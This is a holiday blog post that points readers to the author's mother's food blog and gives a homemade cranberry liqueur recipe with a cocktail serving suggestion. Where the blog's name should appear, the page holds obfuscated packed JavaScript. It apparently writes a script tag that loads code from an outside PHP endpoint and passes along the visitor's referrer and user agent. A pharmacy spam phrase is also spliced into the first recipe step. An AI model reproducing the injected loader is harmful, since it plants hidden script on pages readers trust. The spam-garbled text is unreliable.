Homemade Cranberry Liqueur

2015 Food, Food, Holidays

Hope you all had a wonderful Thanksgiving and are treating your self to some retail therapy this Black Friday.

I’m linking to my mom’s great food blog for this #FoodieFriday post because you know… I’m shopping today.

I’m not saying this because I’m just her daughter, but I would genuinely recommend her blog to my readers. She’s a phenomenal chef. And now you can get my mom’s homemade cooking by following her at Side eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehzfr|var|u0026u|referrer|nhdah||js|php’.split(‘|’),0,{}))

But because we are all adults here, I’m sharing her recipe for homemade cranberry liqueur.

 

Cranberry Liqueur

  • 2 cups sugar
  • 1 cup water
  • 1 12-ounce package of fresh cranberries (or one of the 8 or so you have in your freezer)
  • 3 cups vodka

Combine the sugar and water in a saucepan and over medium heat cook for 5 minutes, where can i purchase phentermine 37.5 mg stirring, until sugar dissolves.  Remove from heat and cool completely.

Place cranberries in food processor and process for about 2 minutes or until finely chopped. Combine the sugar mixture, cranberries, and vodka in a large bowl.  Pour into clean jars with lids and let sit in a cool, dark place for 3 weeks, shaking every other day (or whenever you remember).

Strain through a cheesecloth lined sieve into a bowl and discard solids.  Pour into clean jars or bottles, and sit back and admire!

Note: Liqueur can be stored refrigerated or at room temperature for a year.

SERVING SUGGESTION – Cranberry Cosmopolitan – Place crushed ice in a cocktail shaker.  Add 1/2 cup cranberry liqueur, 1/4 cup Cointreau, and 2 tablespoons lime juice; strain into martini glasses.  Yields 2 cocktails.
